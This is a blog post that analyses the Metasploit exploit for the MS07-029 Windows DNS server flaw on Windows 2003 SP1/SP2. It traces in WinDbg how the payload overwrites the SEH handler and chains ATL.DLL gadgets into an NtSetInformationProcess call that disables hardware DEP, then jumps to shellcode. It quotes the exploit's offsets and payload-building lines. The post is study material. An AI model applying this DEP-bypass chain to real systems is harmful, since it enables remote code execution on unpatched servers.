After I described how to exploit MS07-029 vulnerability on Windows 2003 Server SP1/SP2, now I will post about it again but in the different technique. In this post I will describe how to bypass hardware-enforced DEP or NX on Windows 2003 Server SP1/SP2 instead of software DEP (SafeSEH issue). However, because I have no NX support machine, so something will be missed and It’s very helpful if you help me to correct things.
Now, before I go to the debugging process, I have to review some exploit code to see how it’s work. As other posts, I use
msdns_zonename.rb from
http://www.metasploit.com as the exploit code to research. This is the return address section of Windows 2003 Server SP1/SP2 target:
Windows 2003 Server SP1-SP2 English', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a80000 }Something has changed from the old one. The return address of Windows 2000 and 2003 SP0 are called Ret and Rets, however, the return address in this target is called IB (Image Base). What’s the image that start at the address
0x76a80000 ?
0:011> !lmi 76a80000Loaded Module Info: [76a80000]
Module: ATL
Base Address: 76a80000
Image Name: C:\WINDOWS\System32\ATL.DLL
...It’s the image base of
ATL.DLL and start at
0x76a80000. Then I go to the code of Windows 2003 SP1/SP2 exploitation section
off = mytarget['Off']ib = mytarget['IB']txt[ off ] = [ib + 0x2566].pack('V')First, it set the payload to 0x76a80000 + 0x2566 = 0x76a82566 at the 1633th byte of the payload:
0:011> u 0x76a82566
ATL!AtlModuleUpdateRegistryFromResourceD+0x19b:
76a82566 add ebp,5ACh
76a8256c leave
76a8256d ret 14h
At the address 0x76a82566 is the instruction that add some value to ebp, switch value between ebp/esp and pop value of esp to ebp, then jump to the address on esp. Then, when I lookup the rest of code, I decide to step into the debugging process because it ‘s quite difficult to understand what the exploit code does.
I run the exploit and the debugger give the same result on other target:
(1f4.6d0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00169f0e ebx=013a0000 ecx=00007a69 edx=013a0000 esi=00000003 edi=00169f0b
eip=01015462 esp=0139f6ac ebp=0139f6b0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
dns!extractQuotedChar+0x3b:
01015462 mov byte ptr [edx],cl ds:0023:013a0000=??
After this phase, the exception handler will be called to handle the exception:
…
ntdll!ExecuteHandler2+0x24:
7c828750 call ecx {ATL!AtlModuleUpdateRegistryFromResourceD+0x19b (76a82566}
0:012> bp 76a82566
0:012> p
Breakpoint 0 hit
ATL!AtlModuleUpdateRegistryFromResourceD+0x19b:
76a82566 add ebp,5ACh
Could you remember 0x76a82566 ? Yep, it is the fake return address in our payload that overwrite the SEH handler on the stack. It is also can bypass the SafeSEH protection (software DEP on Windows) because the ATL.DLL is complied with the older version of SafeSEH and the protection is broken. Then I continue the debugging process:
ATL!AtlModuleUpdateRegistryFromResourceD+0x1a1:
76a8256c leave
0:012> p
eax=00000000 ebx=00000000 ecx=76a82566 edx=7c828766 esi=00000000 edi=00000000
eip=76a8256d esp=0189f8b4 ebp=6f51626a iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
ATL!AtlModuleUpdateRegistryFromResourceD+0x1a2:
76a8256d ret 14h
0:012> dd esp
0189f8b4 76a81da7 46356579 42387556 7a726759
The flow of execution will jump to 0x76a81da7. Where’s 0x76a81da7 come from ? It’s in the code line:
txt[ off + 4, 4 ] = [ib + 0x1da7].pack('V')
What does this return address do ? It’s pop the value from the stack and store at esi, then return.
0:012> u
ATL!ATL::CExpansionVector::CExpansionVector+0x1a:
76a81da7 pop esi
76a81da8 ret
0:012> p
eax=00000000 ebx=00000000 ecx=76a82566 edx=7c828766 esi=000000ed edi=00000000
eip=76a81da8 esp=0189f8d0 ebp=6f51626a iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
ATL!ATL::CExpansionVector::CExpansionVector+0x1b:
76a81da8 ret
The value 0xed stored in esi come from the code in this line:
txt[ off + 28, 4] = [0xed].pack('V')
Then the process will jump to 0x76a81da4: which coded in line:
txt[ off + 32, 4] = [ib + 0x1da4].pack('V')
...
ATL!ATL::CExpansionVector::CExpansionVector+0x1b:
76a81da8 ret
0:012> dd esp
0189f8d0 76a81da4 7ffe0300 63685572 76a8109c
...0:012> uATL!ATL::CExpansionVector::CExpansionVector+0x17:76a81da4 pop ecx76a81da5 mov eax,esi76a81da7 pop esi76a81da8 ret The instructions at address 0x76a81da4 are the series of instruction that pop the value from the stack and then jmp to the address on the stack:
0:012> dd esp0189f8d4 7ffe0300 63685572 76a8109c 7970574f 76a81da4 pop ecx0:012> peax=00000000 ebx=00000000 ecx=7ffe0300 edx=7c828766 esi=000000ed edi=00000000eip=76a81da5 esp=0189f8d8 ebp=6f51626a iopl=0 nv up ei pl nz ac po nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212ATL!ATL::CExpansionVector::CExpansionVector+0x18:76a81da5 mov eax,esi0:012> pBreakpoint 1 hiteax=000000ed ebx=00000000 ecx=7ffe0300 edx=7c828766 esi=000000ed edi=00000000eip=76a81da7 esp=0189f8d8 ebp=6f51626a iopl=0 nv up ei pl nz ac po nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212 ATL!ATL::CExpansionVector::CExpansionVector+0x1a:
76a81da7 5e pop esi
0:012> p
eax=000000ed ebx=00000000 ecx=7ffe0300 edx=7c828766 esi=63685572 edi=00000000
eip=76a81da8 esp=0189f8dc ebp=6f51626a iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
ATL!ATL::CExpansionVector::CExpansionVector+0x1b:
76a81da8 ret
Now, eax is set to 0xed and ecx is set to 0x7ffe0300, then jump to 0x76a8109c:
eax=000000ed ebx=00000000 ecx=7ffe0300 edx=7c828766 esi=63685572 edi=00000000
eip=76a8109c esp=0189f8e0 ebp=6f51626a iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
ATL!AtlComQIPtrAssign+0x23:
76a8109c call dword ptr [ecx] ds:0023:7ffe0300={ntdll!KiFastSystemCall (7c8285e8)}
The value 0x7ffe0300 is in the code line:
txt[ off + 36, 4] = [0x7ffe0300].pack('V')
and 0x76a8109c in the line:
txt[ off + 44, 4] = [ib + 0x109c].pack('V')
But… what is the address 0x7ffe0300 ? It’s look like the pointer to some location (0x7c8285e8). I’ve found the answer in this blog. The address 0x7ffe0300 is the offset + 0x300 from KUSER_SHARED_DATA structure and it’s something for system call issue:
0:007> dt ntdll!_KUSER_SHARED_DATA
…
+0x2f8 TestRetInstruction : Uint8B
+0x300 SystemCall : Uint4B
+0x304 SystemCallReturn : Uint4B
Now the flow of execution transfer to 0x7c8285e8 – ntdll!KiFastSystemCall:
0:012> u
ntdll!KiFastSystemCall:
7c8285e8 8bd4 mov edx,esp
7c8285ea 0f34 sysenter
After jump to 0x7c8285e8 – ntdll!KiFastSystemCall, the process will move value from esp to edx and run sysenter instruction. But wait… what is sysenter instruction -*- ? After I search through the google, I’ve found the interesting article Windows syscall shellcode. In summary, sysenter is the instruction that execute the “system call” of Microsoft Windows operating system – switch to ring 0 level – the kernel mode. The eax value is the system call number to be executed – in this case 0xed. What is the system call number 0xed ? It is NtSetInformationProcess (search at http://www.metasploit.com/users/opcode/syscalls.html).
The parameter of sysenter is passed to NtSetInformationProcess by edx. It points to the return address after execute the sysenter command and the array of argument that pass to the system call – NtSetInformationProcess in this case.
ntdll!KiFastSystemCall:
7c8285e8 8bd4 mov edx,esp
0:012> p
eax=000000ed ebx=00000000 ecx=7ffe0300 edx=0189f8dc esi=63685572 edi=00000000
eip=7c8285ea esp=0189f8dc ebp=6f51626a iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
ntdll!KiFastSystemCall+0x2:
7c8285ea 0f34 sysenter
0:012> dd edx
0189f8dc 76a8109e 7970574f ffffffff 00000022
0189f8ec 7ffe0270 00000004 32395052 55434731
The value 0x76a8109e is the return address after execute sysenter instruction. The next 4 bytes are something that you can ignore. The next 16 bytes are the parameters passed to NtSetInformationProcess which in this line of code:
txt[ off + 52, 16] = [-1, 34, 0x7FFE0270, 4].pack('VVVV')
So the process will call NtSetInformationProcess like this:
NtSetInformationProcess(-1, 0x22, 7ffe0270, 4)
-1: process handler. Pass -1 means NtCurrentProcess
0x22: ProcessExecuteFlags
7ffe0270: Address of Execute Flags which should point to 0x2
4: size of Execute Flags
In paper from uninformed.org, calling NtSetInformationProcess with these parameters will disable hardware-enforced DEP or NX. Before continue, I have to understand the meaning of 0x22 and 0xffe0270.
What’s the value 0x22 for ProcessExecuteFlags parameter. The answer is in this google group
0:007> dt _KEXECUTE_OPTIONS
ntdll!_KEXECUTE_OPTIONS
+0x000 ExecuteDisable : Pos 0, 1 Bit
+0x000 ExecuteEnable : Pos 1, 1 Bit
+0x000 DisableThunkEmulation : Pos 2, 1 Bit
+0x000 Permanent : Pos 3, 1 Bit
+0x000 ExecuteDispatchEnable : Pos 4, 1 Bit
+0x000 ImageDispatchEnable : Pos 5, 1 Bit
+0x000 Spare : Pos 6, 2 Bits
The value 0x22 when represented in binary format will be 0x0010 0010. So the bits that enable are Pos 1 (ExecuteEnable) and Pos 5 (ImageDispatchEnable). So, calling NtSetInformationProcess will let the whole areas of the image are executable.
Then, turn to 0x7ffe0270. What’s it ? I know it’s the pointer to 0x2 value:
0:007> dd 7ffe0270
7ffe0270 00000002 01010000 00010000 00010001
And it’s the offset +0x270 from KUSER_SHARED_DATA
0:007> dt ntdll!_KUSER_SHARED_DATA
+0x26c NtMajorVersion : Uint4B
+0x270 NtMinorVersion : Uint4B
+0x274 ProcessorFeatures : [64] UChar
The address 0x7ffe0270 is a pointer to NtMinorVersion which is 0x2. The word “NtMinorVersion” lets me remember something. It’s a minor version number of Windows 2003 Server operating system (Windows 2003 Server version is 5.2). Then I verify my assumption by look at the value that 0x7ffe026c – NtMajorVersion – point to.
0:007> dd 0x7ffe026c
7ffe026c 00000005 00000002 01010000 00010000
It points to 0x5 which is major version number of Windows 2003 Server operating system.
Now back to the analysis process. After the call of NtSetInformationProcess, the NX would be disabled and the flow of execution is transferred to 0x76a8109e – after the call dword ptr [ecx] instruction at 0x76a8109c
ATL!AtlComQIPtrAssign+0x25:
76a8109e test edi,edi
When back to 0x76a8109e, the process executes 2 -3 instructions and then crash again at 0x76a810a8 – ATL!AtlComQIPtrAssign+0x2f:
ATL!AtlComQIPtrAssign+0x2f:
76a810a8 mov eax,dword ptr [esi] ds:0023:6447504f=????????
And then our fake exception handler is called again:
ntdll!ExecuteHandler2+0x24:
7c828750 call ecx {ATL!AtlModuleUpdateRegistryFromResourceD+0x19b (76a82566)}
ATL!AtlModuleUpdateRegistryFromResourceD+0x19b:
76a82566 add ebp,5Ach
ATL!AtlModuleUpdateRegistryFromResourceD+0x1a1:
76a8256c leave
ATL!AtlModuleUpdateRegistryFromResourceD+0x1a2:
76a8256d ret 14h
0:007> dd esp
0139fae8 76a935bf 696e504a 77434a69 46555951
The value 0x76a935bf on the stack is in line:
txt[ off, 4 ] = [ib + 0x135bf].pack('V')
and its purpose is to execute the jmp esp instruction.
0:007> p
eax=00000000 ebx=00000000 ecx=76a82566 edx=7c828766 esi=00000000 edi=00000000
eip=76a935bf esp=0139fb00 ebp=4242666d iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
ATL!__pfnDliNotifyHook2 (ATL+0x135bf):
76a935bf jmp esp {0139fb00}
0:007> dd esp
0139fb00 cccccccc 047f0566 43d43924 b2fc3b46
And then reach out shellcode :)
Finally, because of the post is very long, so I try to create a picture that demonstrates the flow of instructions and the purpose of them. It may be help you understand the concept of this exploit.